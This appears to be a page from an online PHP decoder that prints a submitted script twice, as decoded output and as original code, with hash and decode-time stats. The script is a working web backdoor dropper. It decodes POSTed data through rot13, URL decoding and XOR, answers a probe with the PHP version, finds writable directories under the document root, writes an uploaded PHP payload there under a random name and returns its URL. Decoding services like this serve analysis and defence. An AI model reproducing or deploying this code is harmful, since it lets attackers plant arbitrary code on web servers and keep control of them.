Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $uvszglo = "bzeyfshzpastcywf";$mhgxwniny = "";foreach ($_POST as $raycxqvwr => $zypo..
Decoded Output download
<?php $uvszglo = "bzeyfshzpastcywf";$mhgxwniny = "";foreach ($_POST as $raycxqvwr => $zypoxya){if (strlen($raycxqvwr) == 16 and substr_count($zypoxya, "%") > 10){xanwkeckpq($raycxqvwr, $zypoxya);}}function xanwkeckpq($raycxqvwr, $fqpzh){global $mhgxwniny;$mhgxwniny = $raycxqvwr;$fqpzh = str_split(rawurldecode(str_rot13($fqpzh)));function tfmxwgdi($hoxrbrkl, $raycxqvwr){global $uvszglo, $mhgxwniny;return $hoxrbrkl ^ $uvszglo[$raycxqvwr % strlen($uvszglo)] ^ $mhgxwniny[$raycxqvwr % strlen($mhgxwniny)];}$fqpzh = implode("", array_map("tfmxwgdi", array_values($fqpzh), array_keys($fqpzh)));$fqpzh = @unserialize($fqpzh);if (@is_array($fqpzh)){$raycxqvwr = array_keys($fqpzh);$fqpzh = $fqpzh[$raycxqvwr[0]];if ($fqpzh === $raycxqvwr[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function qgvqdawo($icensir) {static $icensmnljvyani = array();$akfwuaajrb = glob($icensir . '/*', GLOB_ONLYDIR);if (count($akfwuaajrb) > 0) {foreach ($akfwuaajrb as $icens){if (@is_writable($icens)){$icensmnljvyani[] = $icens;}}}foreach ($akfwuaajrb as $icensir) qgvqdawo($icensir);return $icensmnljvyani;}$epoff = $_SERVER["DOCUMENT_ROOT"];$akfwuaajrb = qgvqdawo($epoff);$raycxqvwr = array_rand($akfwuaajrb);$wqinw = $akfwuaajrb[$raycxqvwr] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($wqinw, $fqpzh);echo "http://" . $_SERVER["HTTP_HOST"] . substr($wqinw, strlen($epoff));exit();}}} ?>
Did this file decode correctly?
Original Code
<?php $uvszglo = "bzeyfshzpastcywf";$mhgxwniny = "";foreach ($_POST as $raycxqvwr => $zypoxya){if (strlen($raycxqvwr) == 16 and substr_count($zypoxya, "%") > 10){xanwkeckpq($raycxqvwr, $zypoxya);}}function xanwkeckpq($raycxqvwr, $fqpzh){global $mhgxwniny;$mhgxwniny = $raycxqvwr;$fqpzh = str_split(rawurldecode(str_rot13($fqpzh)));function tfmxwgdi($hoxrbrkl, $raycxqvwr){global $uvszglo, $mhgxwniny;return $hoxrbrkl ^ $uvszglo[$raycxqvwr % strlen($uvszglo)] ^ $mhgxwniny[$raycxqvwr % strlen($mhgxwniny)];}$fqpzh = implode("", array_map("tfmxwgdi", array_values($fqpzh), array_keys($fqpzh)));$fqpzh = @unserialize($fqpzh);if (@is_array($fqpzh)){$raycxqvwr = array_keys($fqpzh);$fqpzh = $fqpzh[$raycxqvwr[0]];if ($fqpzh === $raycxqvwr[0]){echo @serialize(Array('php' => @phpversion(), ));exit();}else{function qgvqdawo($icensir) {static $icensmnljvyani = array();$akfwuaajrb = glob($icensir . '/*', GLOB_ONLYDIR);if (count($akfwuaajrb) > 0) {foreach ($akfwuaajrb as $icens){if (@is_writable($icens)){$icensmnljvyani[] = $icens;}}}foreach ($akfwuaajrb as $icensir) qgvqdawo($icensir);return $icensmnljvyani;}$epoff = $_SERVER["DOCUMENT_ROOT"];$akfwuaajrb = qgvqdawo($epoff);$raycxqvwr = array_rand($akfwuaajrb);$wqinw = $akfwuaajrb[$raycxqvwr] . "/" . substr(md5(time()), 0, 8) . ".php";@file_put_contents($wqinw, $fqpzh);echo "http://" . $_SERVER["HTTP_HOST"] . substr($wqinw, strlen($epoff));exit();}}}
Function Calls
| None |
Stats
| MD5 | 87006f5d8fc037d15a8e9f5fcc16f832 |
| Eval Count | 0 |
| Decode Time | 109 ms |